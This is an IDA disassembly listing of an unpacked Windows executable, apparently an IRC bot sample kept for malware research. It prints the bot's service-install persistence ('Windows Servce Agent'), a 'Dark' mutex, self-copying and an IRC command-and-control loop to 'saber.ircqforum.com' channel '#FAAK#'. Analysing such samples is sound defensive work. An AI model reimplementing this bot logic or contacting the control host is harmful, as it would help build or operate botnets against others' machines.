;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	5AB317D76BBE598B4BC1574DC7577E77

; File Name   :	u:\work\5ab317d76bbe598b4bc1574dc7577e77_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 000DD000 ( 905216.)
; Section size in file		: 000DD000 ( 905216.)
; Offset to raw	data for section: 00001000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write
___		segment	para public 'DATA' use32
		assume cs:___
		;org 401000h
		assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401000	proc near		; CODE XREF: ___:00401579p
					; sub_418359+1Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, offset dword_429050
		xor	esi, esi
		mov	ebx, offset aWindowsServceA ; "Windows Servce Agent"

loc_401013:				; CODE XREF: sub_401000+69j
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		push	esi
		push	0F003Fh
		push	esi
		push	esi
		push	esi
		push	dword ptr [edi+4]
		push	dword ptr [edi]
		call	dword_4CAF58
		cmp	[ebp+arg_0], esi
		jz	short loc_40104D
		push	[ebp+arg_0]
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	ebx
		push	[ebp+var_4]
		call	dword_4CAFC8
		jmp	short loc_401057
; ---------------------------------------------------------------------------

loc_40104D:				; CODE XREF: sub_401000+2Fj
		push	ebx
		push	[ebp+var_4]
		call	dword_4CAF08

loc_401057:				; CODE XREF: sub_401000+4Bj
		push	[ebp+var_4]
		call	dword_4CAF80
		add	edi, 8
		cmp	edi, offset dword_429068
		jb	short loc_401013
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401000	endp


; =============== S U B	R O U T	I N E =======================================



sub_401070	proc near		; CODE XREF: sub_4010AB+56p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	esi
		or	esi, 0FFFFFFFFh
		test	eax, eax
		jz	short loc_4010A5
		push	ebx
		push	edi
		lea	edi, [eax]
		mov	ecx, 0FFh

loc_401089:				; CODE XREF: sub_401070+31j
		mov	al, [edx]
		mov	ebx, esi
		and	eax, ecx
		and	ebx, ecx
		xor	eax, ebx
		shr	esi, 8
		mov	eax, dword_427238[eax*4]
		xor	esi, eax
		inc	edx
		dec	edi
		jnz	short loc_401089
		pop	edi
		pop	ebx

loc_4010A5:				; CODE XREF: sub_401070+Ej
		mov	eax, esi
		pop	esi
		not	eax
		retn
sub_401070	endp


; =============== S U B	R O U T	I N E =======================================



sub_4010AB	proc near		; CODE XREF: ___:00416643p

var_10		= dword	ptr -10h
arg_0		= dword	ptr  4

		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		push	ebx
		call	sub_41B4D5
		mov	[esp+10h+var_10], offset dword_429068
		push	[esp+10h+arg_0]
		mov	esi, eax
		call	sub_41B4C2
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jz	short loc_4010FA

loc_4010D0:				; CODE XREF: sub_4010AB+4Dj
		test	byte ptr [edi+0Ch], 10h
		jnz	short loc_4010FE
		inc	ebx
		push	ebx
		push	esi
		call	sub_41B202
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_4010FA
		push	edi
		push	1
		lea	eax, [esi+ebx-1]
		push	1
		push	eax
		call	sub_41B11A
		add	esp, 10h
		jmp	short loc_4010D0
; ---------------------------------------------------------------------------

loc_4010FA:				; CODE XREF: sub_4010AB+23j
					; sub_4010AB+39j
		xor	eax, eax
		jmp	short loc_401119
; ---------------------------------------------------------------------------

loc_4010FE:				; CODE XREF: sub_4010AB+29j
		dec	ebx
		push	ebx
		push	esi
		call	sub_401070
		push	esi
		mov	ebx, eax
		call	sub_41B0B1
		push	edi
		call	sub_41B05B
		add	esp, 10h
		mov	eax, ebx

loc_401119:				; CODE XREF: sub_4010AB+51j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4010AB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40111D	proc near		; DATA XREF: ___:00401235o

var_268		= dword	ptr -268h
var_25C		= byte ptr -25Ch
var_158		= byte ptr -158h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_28		= dword	ptr -28h
var_24		= word ptr -24h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 25Ch
		push	ebx
		push	esi
		push	edi
		push	dword_43DEEC
		call	dword_4CB03C
		call	sub_40B2BF
		call	dword_4CAEFC
		call	dword_4CAEFC
		mov	ebx, dword_427078
		push	64h
		call	ebx
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp+var_54]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 18h
		mov	[ebp+var_54], esi
		mov	esi, 104h
		lea	eax, [ebp+var_25C]
		push	esi
		push	eax
		mov	[ebp+var_48], offset dword_43D158
		mov	[ebp+var_28], 1
		mov	[ebp+var_24], di
		nop
		call	near ptr 2670000h
		lea	eax, [ebp+var_158]
		push	esi
		push	eax
		push	edi
		nop
		call	near ptr 2660000h
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	edi
		push	28h
		push	1
		push	edi
		lea	eax, [ebp+var_158]
		push	edi
		push	eax
		push	edi
		nop
		call	near ptr 2650C44h
		test	eax, eax
		jz	short loc_4011E2
		push	64h
		call	ebx
		push	[ebp+var_10]
		mov	esi, dword_427068
		call	esi
		push	[ebp+var_C]
		call	esi

loc_4011E2:				; CODE XREF: sub_40111D+AFj
		mov	eax, [ebp+arg_8]
		mov	dword ptr [eax+0B0h], offset dword_43D150
		mov	eax, [esp+268h+var_268]
		mov	large fs:0, eax
		add	esp, 8
		push	edi
		nop
		call	near ptr 77E75CB5h
		pop	edi
		pop	esi
		pop	ebx

loc_401205:				; DATA XREF: ___:00429004o
		jmp	$+5
		push	0FFFFh
		push	539h
		call	sub_418684
		pop	ecx
		mov	dword_4CACE0, eax
		pop	ecx
		retn
sub_40111D	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 988h
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		mov	[ebp-8], ebx
		mov	[ebp-0Ch], ebx
		mov	dword ptr [ebp-4], offset sub_40111D
		push	dword ptr [ebp-4]
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		mov	esi, dword_4270A8
		call	esi
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	dword_4CACE4, eax
		call	esi
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_409B12
		push	2
		call	dword_4CB050
		push	7530h
		push	offset aDark	; "Dark"
		push	ebx
		push	ebx
		nop
		call	near ptr 2680689h
		push	eax
		call	near ptr 26805CCh
		nop
		cmp	eax, 102h
		jnz	short loc_4012A1
		push	1
		nop
		call	near ptr 77E75CB5h

loc_4012A1:				; CODE XREF: ___:00401297j
		lea	eax, [ebp-884h]
		push	eax
		push	202h
		call	dword_4CAF14
		cmp	eax, ebx
		jnz	loc_4017E4
		cmp	byte ptr [ebp-884h], 2
		jnz	loc_4017DE
		xor	eax, eax
		mov	al, [ebp-883h]
		cmp	al, 2
		jnz	loc_4017DE
		mov	esi, 104h
		lea	eax, [ebp-3F0h]
		push	esi
		push	eax
		call	near ptr 2670000h
		nop
		lea	eax, [ebp-2ECh]
		push	esi
		push	eax
		push	ebx
		nop
		call	near ptr 26804B9h
		push	eax
		nop
		call	near ptr 2660000h
		lea	eax, [ebp-4F0h]
		push	eax
		lea	eax, [ebp-6F4h]
		push	eax
		push	ebx
		lea	eax, [ebp-2ECh]
		push	ebx
		push	eax
		call	sub_41B9D1
		add	esp, 14h
		lea	eax, [ebp-4F0h]
		push	eax
		lea	eax, [ebp-6F4h]
		push	eax
		push	offset dword_4293F4
		lea	eax, [ebp-5F4h]
		push	esi
		push	eax
		call	sub_41B980
		lea	eax, [ebp-3F0h]
		push	eax
		lea	eax, [ebp-2ECh]
		push	eax
		call	sub_41B900
		add	esp, 1Ch
		test	eax, eax
		jnz	loc_401516
		cmp	dword_42908C, ebx
		mov	esi, offset byte_429108
		jz	short loc_40139C
		push	esi
		xor	edi, edi
		call	sub_41AFE0
		sub	eax, 4
		pop	ecx
		jz	short loc_40139C

loc_401379:				; CODE XREF: ___:0040139Aj
		call	sub_41B8E2
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		push	esi
		add	dl, 61h
		mov	byte_429108[edi], dl
		inc	edi
		call	sub_41AFE0
		sub	eax, 4
		pop	ecx
		cmp	edi, eax
		jb	short loc_401379

loc_40139C:				; CODE XREF: ___:00401369j
					; ___:00401377j
		lea	eax, [ebp-3F0h]
		push	esi
		push	eax
		lea	eax, [ebp-1E8h]
		push	offset dword_4293EC
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp-1E8h]
		push	eax
		nop
		call	near ptr 26803E9h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4013DC
		lea	eax, [ebp-1E8h]
		push	80h
		push	eax
		nop
		call	near ptr 2680317h

loc_4013DC:				; CODE XREF: ___:004013C8j
		mov	esi, dword_427090
		lea	eax, [ebp-1E8h]
		push	ebx
		push	eax
		lea	eax, [ebp-2ECh]
		xor	edi, edi
		push	eax

loc_4013F3:				; CODE XREF: ___:0040142Aj
		call	esi
		test	eax, eax
		jnz	short loc_40142C
		nop
		call	near ptr 2670E9Dh
		cmp	edi, ebx
		jnz	short loc_40142C
		cmp	eax, 20h
		jz	short loc_40140D
		cmp	eax, 5
		jnz	short loc_40142C

loc_40140D:				; CODE XREF: ___:00401406j
		push	1
		pop	edi
		push	3A98h
		nop
		call	near ptr 2670580h
		lea	eax, [ebp-1E8h]
		push	ebx
		push	eax
		lea	eax, [ebp-2ECh]
		push	eax
		jmp	short loc_4013F3
; ---------------------------------------------------------------------------

loc_40142C:				; CODE XREF: ___:004013F7j
					; ___:00401401j ...
		lea	eax, [ebp-1E8h]
		push	eax
		call	sub_418293
		pop	ecx
		lea	eax, [ebp-1E8h]
		push	7
		push	eax
		call	near ptr 2680317h
		nop
		push	10h
		lea	eax, [ebp-20h]
		push	ebx
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp-0E4h]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 18h
		mov	[ebp-0E4h], esi
		mov	dword ptr [ebp-0D8h], offset dword_43D158
		mov	[ebp-0B4h], bx
		push	1
		pop	esi
		mov	[ebp-0B8h], esi
		nop
		call	near ptr 2670E2Eh
		push	eax
		push	esi
		push	100000h
		call	near ptr 26708DBh
		nop
		lea	ecx, [ebp-2ECh]
		push	ecx
		push	eax
		lea	eax, [ebp-1E8h]
		push	eax
		lea	eax, [ebp-988h]
		push	offset dword_4293E0
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp-20h]
		push	eax
		lea	eax, [ebp-0E4h]
		push	eax
		lea	eax, [ebp-3F0h]
		push	eax
		push	ebx
		push	28h
		push	esi
		push	ebx
		lea	eax, [ebp-988h]
		push	ebx
		push	eax
		lea	eax, [ebp-1E8h]
		push	eax
		call	near ptr 2650C44h
		nop
		test	eax, eax
		jz	short loc_401516
		push	0C8h
		call	near ptr 2670580h
		nop
		push	dword ptr [ebp-20h]
		mov	esi, dword_427068
		call	esi
		push	dword ptr [ebp-1Ch]
		call	esi
		call	dword_4CAEFC
		push	ebx
		nop
		call	near ptr 77E75CB5h

loc_401516:				; CODE XREF: ___:00401358j
					; ___:004014ECj
		cmp	dword_4DB2C4, 2
		jle	short loc_401562
		mov	eax, dword_4DB2C8
		push	dword ptr [eax+4]
		call	sub_41B779
		pop	ecx
		mov	esi, eax
		push	0FFFFFFFFh
		push	esi
		call	near ptr 26805CCh
		nop
		push	esi
		nop
		call	near ptr 2650939h
		mov	eax, dword_4DB2C8
		cmp	[eax+8], ebx
		jz	short loc_401562
		push	7D0h
		call	near ptr 2670580h
		nop
		mov	eax, dword_4DB2C8
		push	dword ptr [eax+8]
		nop
		call	near ptr 26707EAh

loc_401562:				; CODE XREF: ___:0040151Dj
					; ___:00401547j
		cmp	dword_429090, ebx
		jz	short loc_40157F
		cmp	dword_4CB074, ebx
		jnz	short loc_40157F
		lea	eax, [ebp-5F4h]
		push	eax
		call	sub_401000
		pop	ecx

loc_40157F:				; CODE XREF: ___:00401568j
					; ___:00401570j
		lea	eax, [ebp-0A0h]
		push	offset dword_4293C4
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp-0A0h]
		push	ebx
		push	eax
		call	sub_40B0F6
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_4151AC
		push	0B80h
		push	ebx
		push	offset dword_43D160
		call	sub_41B590
		add	esp, 24h
		lea	eax, [ebp-0A0h]
		push	offset unk_4293A0
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp-0A0h]
		push	1
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	esi, eax
		mov	edi, dword_42707C
		lea	eax, [ebp-8]
		push	eax
		push	ebx
		push	ebx
		push	offset dword_419A00
		push	ebx
		push	ebx
		call	edi
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[esi], eax
		jnz	short loc_401622
		nop
		call	near ptr 2670E9Dh
		push	eax
		lea	eax, [ebp-0A0h]
		push	offset unk_429360
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_401622:				; CODE XREF: ___:00401605j
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_4151AC
		push	2
		call	sub_40B33E
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4016A7
		lea	eax, [ebp-0A0h]
		push	offset dword_429334
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp-0A0h]
		push	2
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp-8]
		push	eax
		push	ebx
		push	esi
		push	offset loc_4101FC
		push	ebx
		push	ebx
		call	edi
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[esi], eax
		jnz	short loc_40169A
		nop
		call	near ptr 2670E9Dh
		push	eax
		lea	eax, [ebp-0A0h]
		push	offset dword_429300
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_40169A:				; CODE XREF: ___:0040167Dj
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_4151AC
		pop	ecx

loc_4016A7:				; CODE XREF: ___:00401639j
		call	sub_41B8E2
		push	7Fh
		and	eax, 3
		push	offset aSaber_ircqforu ; "saber.ircqforum.com"
		push	offset dword_4CACEC
		mov	dword_4CAE58, eax
		call	sub_41B5F0
		mov	eax, dword_42906C
		push	3Fh
		mov	edi, offset dword_4CAD6C
		push	offset aFaak	; "#FAAK#"
		push	edi
		mov	dword_4CAE3C, eax
		call	sub_41B5F0
		push	3Fh
		mov	esi, offset dword_4CADAC
		push	offset aSaad_	; "saad."
		push	esi
		call	sub_41B5F0
		add	esp, 24h
		mov	dword_4CAE40, ebx

loc_4016FC:				; CODE XREF: ___:00401784j
					; ___:0040178Fj ...
		mov	[ebp-4], ebx

loc_4016FF:				; CODE XREF: ___:00401738j
		push	offset dword_4CACE8
		mov	dword_4CAE54, ebx
		call	sub_4017ED
		cmp	eax, 2
		mov	[ebp-10h], eax
		jz	loc_4017D9
		cmp	dword_4CAE54, ebx
		jz	short loc_401726
		dec	dword ptr [ebp-4]

loc_401726:				; CODE XREF: ___:00401721j
		push	0BB8h
		nop
		call	near ptr 2670580h
		inc	dword ptr [ebp-4]
		cmp	dword ptr [ebp-4], 6
		jl	short loc_4016FF
		cmp	dword ptr [ebp-10h], 2
		jz	loc_4017D9
		cmp	[ebp-0Ch], ebx
		jz	short loc_401789
		push	7Fh
		push	offset aSaber_ircqforu ; "saber.ircqforum.com"
		push	offset dword_4CACEC
		call	sub_41B5F0
		mov	eax, dword_42906C
		push	3Fh
		push	offset aFaak	; "#FAAK#"
		push	edi
		mov	dword_4CAE3C, eax
		call	sub_41B5F0
		push	3Fh
		push	offset aSaad_	; "saad."
		push	esi
		call	sub_41B5F0
		add	esp, 24h
		mov	[ebp-0Ch], ebx
		jmp	loc_4016FC
; ---------------------------------------------------------------------------

loc_401789:				; CODE XREF: ___:00401747j
		cmp	byte_4290E4, bl
		jz	loc_4016FC
		push	7Fh
		push	offset byte_4290E4
		push	offset dword_4CACEC
		call	sub_41B5F0
		mov	eax, dword_429070
		push	3Fh
		push	offset aFaak_0	; "#FAAK#"
		push	edi
		mov	dword_4CAE3C, eax
		call	sub_41B5F0
		push	3Fh
		push	offset aSaad__0	; "saad."
		push	esi
		call	sub_41B5F0
		add	esp, 24h
		mov	dword ptr [ebp-0Ch], 1
		jmp	loc_4016FC
; ---------------------------------------------------------------------------

loc_4017D9:				; CODE XREF: ___:00401715j
					; ___:0040173Ej
		call	sub_40B2BF

loc_4017DE:				; CODE XREF: ___:004012C2j
					; ___:004012D2j
		call	dword_4CAEFC

loc_4017E4:				; CODE XREF: ___:004012B5j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4017ED	proc near		; CODE XREF: ___:0040170Ap
					; DATA XREF: sub_401ACD+662Ao

var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_CC		= byte ptr -0CCh
var_8C		= byte ptr -8Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	59h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_190]
		rep movsd
		mov	dword ptr [eax+160h], 1

loc_401812:				; CODE XREF: sub_4017ED+E6j
					; sub_4017ED+136j ...
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_3C]
		call	dword_4CAFA4
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_18C]
		push	eax
		call	sub_40AAF9
		test	eax, eax
		pop	ecx
		mov	[ebp+var_C], eax
		jz	loc_40193F
		push	1Ch
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_41B590
		push	0
		lea	eax, [ebp+var_2C]
		push	dword_4290A0
		push	dword_42909C
		push	eax
		call	sub_40B08D
		mov	edi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	1Bh
		add	eax, offset byte_43DEF8
		push	edi
		push	eax
		call	sub_41B5F0
		add	esp, 28h
		push	6
		push	1
		push	2
		call	dword_4CB024
		mov	esi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	10h
		mov	dword_43DEEC[eax], esi
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	dword_4CAF4C
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4018D8
		push	esi
		call	dword_4CB03C
		call	sub_40AB22
		push	7D0h

loc_4018CD:				; CODE XREF: sub_4017ED+146j
		call	near ptr 2670580h
		nop
		jmp	loc_401812
; ---------------------------------------------------------------------------

loc_4018D8:				; CODE XREF: sub_4017ED+CDj
		lea	eax, [ebp+var_18C]
		push	eax
		push	offset unk_4293FC
		call	sub_415220
		push	[ebp+var_38]
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_CC]
		push	[ebp+var_190]
		push	edi
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_401955
		add	esp, 28h
		mov	edi, eax
		push	esi
		call	dword_4CB03C
		test	edi, edi
		jz	loc_401812
		cmp	edi, 1
		jnz	short loc_401935
		push	0DBBA0h
		jmp	short loc_4018CD
; ---------------------------------------------------------------------------

loc_401935:				; CODE XREF: sub_4017ED+13Fj
		cmp	edi, 2
		jz	short loc_401943
		jmp	loc_401812
; ---------------------------------------------------------------------------

loc_40193F:				; CODE XREF: sub_4017ED+5Aj
		xor	eax, eax
		jmp	short loc_40194F
; ---------------------------------------------------------------------------

loc_401943:				; CODE XREF: sub_4017ED+14Bj
		push	[ebp+var_34]
		call	sub_40B412
		pop	ecx
		push	2
		pop	eax

loc_40194F:				; CODE XREF: sub_4017ED+154j
		pop	edi
		pop	esi
		leave
		retn	4
sub_4017ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401955	proc near		; CODE XREF: sub_4017ED+123p

var_1A90	= byte ptr -1A90h
var_A90		= byte ptr -0A90h
var_2C0		= byte ptr -2C0h
var_140		= byte ptr -140h
var_A0		= byte ptr -0A0h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		mov	eax, 1A90h
		call	sub_41BB20
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	3
		mov	[ebp+var_8], ebx
		lea	eax, [ebp+var_2C0]
		pop	ecx

loc_401973:				; CODE XREF: sub_401955+26j
		mov	[eax], bl
		add	eax, 80h
		dec	ecx
		jnz	short loc_401973
		cmp	byte_4CAE50, bl
		jz	short loc_40199A
		push	offset byte_4CAE50
		push	offset aPassS	; "PASS	%s\r\n"
		push	[ebp+arg_0]
		call	sub_409A2C
		add	esp, 0Ch

loc_40199A:				; CODE XREF: sub_401955+2Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_20]
		push	ebx
		push	ebx
		push	2
		push	eax
		call	sub_40B08D
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_C]
		push	offset aNickSUserS00S ;	"NICK %s\r\nUSER %s 0 0	:%s\r\n"
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAFF4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401A04
		push	[ebp+arg_0]
		call	dword_4CB03C
		push	1388h
		call	near ptr 2670580h
		nop

loc_4019FD:				; CODE XREF: sub_401955+D9j
					; sub_401955+153j
		xor	eax, eax

loc_4019FF:				; CODE XREF: sub_401955+173j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_401A04:				; CODE XREF: sub_401955+92j
					; sub_401955+F8j ...
		mov	esi, 1000h
		lea	eax, [ebp+var_1A90]
		push	esi
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_1A90]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAFBC
		test	eax, eax
		jle	short loc_4019FD
		lea	eax, [ebp+var_A90]
		push	eax
		lea	eax, [ebp+var_1A90]
		push	eax
		call	sub_417F7F
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_4], ebx
		jle	short loc_401A04
		lea	edi, [ebp+var_A90]

loc_401A55:				; CODE XREF: sub_401955+165j
		push	1
		pop	esi

loc_401A58:				; CODE XREF: sub_401955+144j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	eax
		push	[ebp+arg_18]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	dword ptr [edi]
		call	sub_401ACD
		add	esp, 2Ch
		dec	eax
		mov	esi, eax
		cmp	esi, ebx
		jle	short loc_401A9B
		push	7D0h
		nop
		call	near ptr 2670580h
		jmp	short loc_401A58
; ---------------------------------------------------------------------------

loc_401A9B:				; CODE XREF: sub_401955+137j
		cmp	esi, 0FFFFFFFDh
		jz	short loc_401AC5
		cmp	esi, 0FFFFFFFEh
		jz	short loc_401AC1
		cmp	esi, 0FFFFFFFFh
		jz	loc_4019FD
		inc	[ebp+var_4]
		add	edi, 4
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		jl	short loc_401A55
		jmp	loc_401A04
; ---------------------------------------------------------------------------

loc_401AC1:				; CODE XREF: sub_401955+14Ej
		push	1
		jmp	short loc_401AC7
; ---------------------------------------------------------------------------

loc_401AC5:				; CODE XREF: sub_401955+149j
		push	2

loc_401AC7:				; CODE XREF: sub_401955+16Ej
		pop	eax
		jmp	loc_4019FF
sub_401955	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401ACD	proc near		; CODE XREF: sub_401955+12Ap

var_5D88	= byte ptr -5D88h
var_5988	= byte ptr -5988h
var_5588	= byte ptr -5588h
var_53F8	= byte ptr -53F8h
var_51F8	= byte ptr -51F8h
var_50F4	= byte ptr -50F4h
var_4FF4	= byte ptr -4FF4h
var_4EF0	= byte ptr -4EF0h
var_4DF0	= byte ptr -4DF0h
var_4CF0	= byte ptr -4CF0h
var_4BF0	= byte ptr -4BF0h
var_4AF0	= byte ptr -4AF0h
var_48F0	= byte ptr -48F0h
var_47EC	= byte ptr -47ECh
var_46EC	= byte ptr -46ECh
var_45EC	= byte ptr -45ECh
var_4588	= byte ptr -4588h
var_4488	= byte ptr -4488h
var_4288	= byte ptr -4288h
var_4188	= byte ptr -4188h
var_4088	= byte ptr -4088h
var_3F88	= dword	ptr -3F88h
var_3F84	= byte ptr -3F84h
var_3F04	= byte ptr -3F04h
var_3E00	= byte ptr -3E00h
var_3CFC	= dword	ptr -3CFCh
var_3CF8	= dword	ptr -3CF8h
var_3CF4	= dword	ptr -3CF4h
var_3CF0	= dword	ptr -3CF0h
var_3CEC	= dword	ptr -3CECh
var_3CE8	= dword	ptr -3CE8h
var_3CE4	= byte ptr -3CE4h
var_3C64	= byte ptr -3C64h
var_3BE4	= byte ptr -3BE4h
var_3B64	= byte ptr -3B64h
var_3AE4	= byte ptr -3AE4h
var_3A64	= dword	ptr -3A64h
var_3A60	= dword	ptr -3A60h
var_3A5C	= dword	ptr -3A5Ch
var_3A58	= dword	ptr -3A58h
var_3A54	= byte ptr -3A54h
var_37CD	= byte ptr -37CDh
var_37CC	= byte ptr -37CCh
var_36C8	= dword	ptr -36C8h
var_36C0	= dword	ptr -36C0h
var_36BC	= dword	ptr -36BCh
var_36B8	= dword	ptr -36B8h
var_36B4	= dword	ptr -36B4h
var_36AC	= dword	ptr -36ACh
var_36A8	= dword	ptr -36A8h
var_36A4	= byte ptr -36A4h
var_3624	= byte ptr -3624h
var_35A4	= byte ptr -35A4h
var_3524	= byte ptr -3524h
var_34A4	= dword	ptr -34A4h
var_34A0	= dword	ptr -34A0h
var_349C	= dword	ptr -349Ch
var_3498	= dword	ptr -3498h
var_3494	= dword	ptr -3494h
var_3490	= byte ptr -3490h
var_3410	= byte ptr -3410h
var_3390	= byte ptr -3390h
var_3310	= byte ptr -3310h
var_3290	= dword	ptr -3290h
var_328C	= dword	ptr -328Ch
var_3288	= dword	ptr -3288h
var_3284	= dword	ptr -3284h
var_3280	= dword	ptr -3280h
var_327C	= byte ptr -327Ch
var_31FC	= byte ptr -31FCh
var_317C	= byte ptr -317Ch
var_30FC	= byte ptr -30FCh
var_307C	= dword	ptr -307Ch
var_3078	= dword	ptr -3078h
var_3074	= dword	ptr -3074h
var_3070	= dword	ptr -3070h
var_306C	= dword	ptr -306Ch
var_3068	= byte ptr -3068h
var_2FE8	= byte ptr -2FE8h
var_2F68	= byte ptr -2F68h
var_2EE8	= byte ptr -2EE8h
var_2E68	= dword	ptr -2E68h
var_2E64	= dword	ptr -2E64h
var_2E60	= dword	ptr -2E60h
var_2E5C	= dword	ptr -2E5Ch
var_2E58	= byte ptr -2E58h
var_2D54	= dword	ptr -2D54h
var_2D50	= byte ptr -2D50h
var_2C4C	= byte ptr -2C4Ch
var_2B48	= dword	ptr -2B48h
var_2B44	= dword	ptr -2B44h
var_2B40	= dword	ptr -2B40h
var_2B3C	= byte ptr -2B3Ch
var_2ABC	= dword	ptr -2ABCh
